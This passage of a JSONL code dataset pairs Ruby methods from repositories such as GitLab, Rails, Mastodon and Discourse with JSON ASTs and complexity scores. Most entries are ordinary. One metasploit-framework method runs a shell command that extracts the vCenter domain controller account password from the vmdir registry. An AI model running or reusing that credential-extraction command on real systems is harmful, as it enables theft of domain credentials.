,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"arg\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"**\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"arg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"str\",\"children\":[\"@type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing '@type' parameter on <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"> directive\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[null,\"add_filter\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"add_match\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]}]}","id":"65d45a7f-ebfd-4c90-8ea0-a011d58df3e4"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/notifications.rb","start_line":275,"raw_source":"def seed_used?\n        !!used\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_used?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"used\"]},\"!\"]},\"!\"]}]}","id":"ecf4a1a6-ef8a-473d-8a65-0ce90bbb3d7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/members/remove_member_modal.rb","start_line":19,"raw_source":"def confirm_remove_member\n            within_element('remove-member-modal') do\n              wait_for_enabled_remove_member_button\n\n              click_element('remove-member-button')\n            end\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_remove_member\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"remove-member-modal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_enabled_remove_member_button\"]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"remove-member-button\"]}]}]}]}]}","id":"73fd1975-7602-4176-ae47-975726cb21f7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/instance_helper.rb","start_line":34,"raw_source":"def description_prefix(invite)\n    if invite.present?\n      I18n.t('auth.description.prefix_invited_by_user', name: invite.user.account.username)\n    else\n      I18n.t('auth.description.prefix_sign_up')\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"description_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"invite\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invite\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"auth.description.prefix_invited_by_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invite\"]},\"user\"]},\"account\"]},\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"auth.description.prefix_sign_up\"]}]}]}]}","id":"44ed931f-7d76-43a5-a42c-870da5b01800"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/fork_manager.rb","start_line":70,"raw_source":"def size\n        @before_fork_hooks.size + @after_fork_parent_hooks.size + @after_fork_child_hooks.size\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@before_fork_hooks\"]},\"size\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@after_fork_parent_hooks\"]},\"size\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@after_fork_child_hooks\"]},\"size\"]}]}]}","id":"afd90c0c-d333-4cf4-a915-ac54b59b414e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/builder/base.rb","start_line":191,"raw_source":"def add_subscribed_users\n        return unless target.respond_to? :subscribers\n\n        add_recipients(target.subscribers(project), :subscription, NotificationReason::SUBSCRIBED)\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_subscribed_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"subscribers\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_recipients\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"subscribers\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"sym\",\"children\":[\"subscription\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationReason\"]},\"SUBSCRIBED\"]}]}]}]}","id":"7c1f64a6-9411-418c-a59e-7ce8ca640aa8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/vcenter/vcenter.rb","start_line":240,"raw_source":"def get_domain_dc_password\n          return nil unless command_exists?(lwregshell_bin)\n\n          password = cmd_exec(\"echo $(#{lwregshell_bin} list_values '[HKEY_THIS_MACHINE\\\\Services\\\\vmdir]'|grep dcAccountPassword |awk -F 'REG_SZ' '{print $2}')\").strip\n          return nil unless password\n\n          return password[1..password.length - 2].gsub('\\\"', '\"')\n        end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"get_domain_dc_password\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"send\",\"children\":[null,\"lwregshell_bin\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo $(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lwregshell_bin\"]}]},{\"type\":\"str\",\"children\":[\" list_values '[HKEY_THIS_MACHINE\\\\Services\\\\vmdir]'|grep dcAccountPassword |awk -F 'REG_SZ' '{print $2}')\"]}]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}","id":"5afef7ee-181f-4014-9410-80536b29c6b8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":704,"raw_source":"def test_in_batches_should_quote_batch_order\n    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name(\"posts.id\"))}/) do\n      Post.in_batches(of: 1) do |relation|\n        assert_kind_of ActiveRecord::Relation, relation\n        assert_kind_of Post, relation.first\n      end\n    end\n  end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_should_quote_batch_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"posts.id\"]}]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Relation\"]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"first\"]}]}]}]}]}]}","id":"26e51075-12af-4559-aa31-6e6e4843eab9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/cargo/package.rb","start_line":55,"raw_source":"def cargo_reserved_name\n        return unless name.present?\n\n        errors.add(:name, _('is reserved and cannot be used')) if RESERVED_NAMES.include?(name.downcase)\n      end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cargo_reserved_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RESERVED_NAMES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"is reserved and cannot be used\"]}]}]},null]}]}]}","id":"3b078a61-cb91-4d0f-9ba0-59d83a865140"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/template_factory_unit_test.rb","start_line":8,"raw_source":"def test_for_returns_liquid_template_instance\n    template = TemplateFactory.new.for(\"anything\")\n    assert_instance_of(Liquid::Template, template)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_for_returns_liquid_template_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TemplateFactory\"]},\"new\"]},\"for\",{\"type\":\"str\",\"children\":[\"anything\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]}]}]}","id":"88f5f7cf-a58a-4453-b638-85a043e0aa87"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/bulk_imports/batched_relation_export_service.rb","start_line":19,"raw_source":"def initialize(user, portable, relation, jid)\n      @user = user\n      @portable = portable\n      @relation = relation\n      @resolved_relation = portable.public_send(relation) # rubocop:disable GitlabSecurity/PublicSend\n      @jid = jid\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"portable\"]},{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"arg\",\"children\":[\"jid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@portable\",{\"type\":\"lvar\",\"children\":[\"portable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@relation\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@resolved_relation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"portable\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@jid\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]}","id":"b07ef247-2e82-4005-a07d-33e936019fd4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/matchers/have_text.rb","start_line":17,"raw_source":"def does_not_match?(actual)\n          @actual = wrap(actual)\n          @actual.has_no_text?(@expected_text, **@kwargs)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"does_not_match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@actual\",{\"type\":\"send\",\"children\":[null,\"wrap\",{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@actual\"]},\"has_no_text?\",{\"type\":\"ivar\",\"children\":[\"@expected_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kwargs\"]}]}]}]}]}]}","id":"8bb801d9-368b-4a57-b59a-f1a97647e3f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/context/source_context.rb","start_line":164,"raw_source":"def absolute_path(path)\n            # Joins with gitlab_basepath when relative, otherwise return full path\n            Pathname(File.expand_path(path, gitlab_basepath))\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"absolute_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"Pathname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_basepath\"]}]}]}]}","id":"b100514d-dc2d-42dc-ab2d-6e4cb7307eb4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/pypi/package_finder.rb","start_line":14,"raw_source":"def packages\n        base.has_version\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base\"]},\"has_version\"]}]}","id":"fb1f6ea1-bd04-4aeb-b7d5-a08e3fc571eb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_collection_service.rb","start_line":59,"raw_source":"def process_items(items)\n    items.reverse_each.filter_map { |item| process_item(item) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_items\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"reverse_each\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"process_item\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}","id":"82d06299-4d59-4204-a816-34b105a38911"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/markdown_cache/redis/extension.rb","start_line":12,"raw_source":"def cache_markdown_field(markdown_field, context = {})\n            super\n\n            # define the `[field]_html` accessor\n            html_field = cached_markdown_fields.html_field(markdown_field)\n            define_method(html_field) do\n              load_cached_markdown unless markdown_data_loaded?\n\n              instance_variable_get(\"@#{html_field}\")\n            end\n          end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_markdown_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"markdown_field\"]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"html_field\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_markdown_fields\"]},\"html_field\",{\"type\":\"lvar\",\"children\":[\"markdown_field\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"html_field\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"markdown_data_loaded?\"]},null,{\"type\":\"send\",\"children\":[null,\"load_cached_markdown\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_field\"]}]}]}]}]}]}]}]}","id":"841ab296-8c79-4259-81f1-a1918010bb6a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_parenthesis_indentation.rb","start_line":125,"raw_source":"def check_for_no_elements(node)\n          left_paren = node.loc.begin\n          right_paren = node.loc.end\n          return unless right_paren && begins_its_line?(right_paren)\n\n          candidates = correct_column_candidates(node, left_paren)\n\n          return if candidates.include?(right_paren.column)\n\n          # Although there are multiple choices for a correct column,\n          # select the first one of candidates to determine a specification.\n          correct_column = candidates.first\n          @column_delta = correct_column - right_paren.column\n          message = message(correct_column, left_paren, right_paren)\n          add_offense(right_paren, message: message) do |corrector|\n            autocorrect(corrector, right_paren)\n          end\n        end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_for_no_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"left_paren\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"begin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"right_paren\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"end\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_paren\"]},{\"type\":\"send\",\"children\":[null,\"begins_its_line?\",{\"type\":\"lvar\",\"children\":[\"right_paren\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"candidates\",{\"type\":\"send\",\"children\":[null,\"correct_column_candidates\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"left_paren\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidates\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_paren\"]},\"column\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"correct_column\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidates\"]},\"first\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@column_delta\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"correct_column\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_paren\"]},\"column\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"message\",{\"type\":\"lvar\",\"children\":[\"correct_column\"]},{\"type\":\"lvar\",\"children\":[\"left_paren\"]},{\"type\":\"lvar\",\"children\":[\"right_paren\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"right_paren\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"right_paren\"]}]}]}]}]}","id":"4f5edb85-3efb-4787-ab82-a8df653062ff"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/theme_serializer.rb","start_line":96,"raw_source":"def include_disabled_at?\n    object.component? && !object.enabled?\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"include_disabled_at?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"component?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"enabled?\"]},\"!\"]}]}]}","id":"ad4dfd87-2fcc-4ce1-b1ef-f93540dc58c5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/portal_client.rb","start_line":153,"raw_source":"def associate_groups_with_app(app, groups)\n      ensure_csrf(Spaceship::Portal::AppGroup)\n\n      request(:post, 'account/ios/identifiers/assignApplicationGroupToAppId.action', {\n        teamId: team_id,\n        appIdId: app.app_id,\n        displayId: app.app_id,\n        applicationGroups: groups.map(&:app_group_id)\n      })\n\n      details_for_app(app)\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"associate_groups_with_app\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_csrf\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Portal\"]},\"AppGroup\"]}]},{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"account/ios/identifiers/assignApplicationGroupToAppId.action\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"teamId\"]},{\"type\":\"send\",\"children\":[null,\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"appIdId\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"app_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"displayId\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"app_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"applicationGroups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_group_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"details_for_app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}]}","id":"c49502a3-16eb-4ae0-a268-d11ab6701090"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/caching_test.rb","start_line":464,"raw_source":"def test_combined_fragment_cache_key_with_envs\n    ENV[\"RAILS_APP_VERSION\"] = \"55\"\n    assert_equal [ :views, \"55\", \"v1\", \"what a key\" ], @controller.combined_fragment_cache_key(\"what a key\")\n\n    ENV[\"RAILS_CACHE_ID\"] = \"66\"\n    assert_equal [ :views, \"66\", \"v1\", \"what a key\" ], @controller.combined_fragment_cache_key(\"what a key\")\n  ensure\n    ENV[\"RAILS_CACHE_ID\"] = ENV[\"RAILS_APP_VERSION\"] = nil\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_combined_fragment_cache_key_with_envs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_APP_VERSION\"]},{\"type\":\"str\",\"children\":[\"55\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"str\",\"children\":[\"55\"]},{\"type\":\"str\",\"children\":[\"v1\"]},{\"type\":\"str\",\"children\":[\"what a key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"combined_fragment_cache_key\",{\"type\":\"str\",\"children\":[\"what a key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_CACHE_ID\"]},{\"type\":\"str\",\"children\":[\"66\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"str\",\"children\":[\"66\"]},{\"type\":\"str\",\"children\":[\"v1\"]},{\"type\":\"str\",\"children\":[\"what a key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"combined_fragment_cache_key\",{\"type\":\"str\",\"children\":[\"what a key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_CACHE_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RAILS_APP_VERSION\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"e674bdbc-3edb-4a0b-805b-a8e83d12fde1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/master_pipeline_status.rb","start_line":52,"raw_source":"def pipeline_jobs(project_id, pipeline_id)\n        gitlab.api.pipeline_jobs(project_id, pipeline_id).auto_paginate\n      rescue StandardError => e\n        puts \"Failed to retrieve CI jobs via API for project #{project_id} and #{pipeline_id}: #{e.class}. Ignoring.\"\n        []\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"pipeline_id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab\"]},\"api\"]},\"pipeline_jobs\",{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"pipeline_id\"]}]},\"auto_paginate\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to retrieve CI jobs via API for project 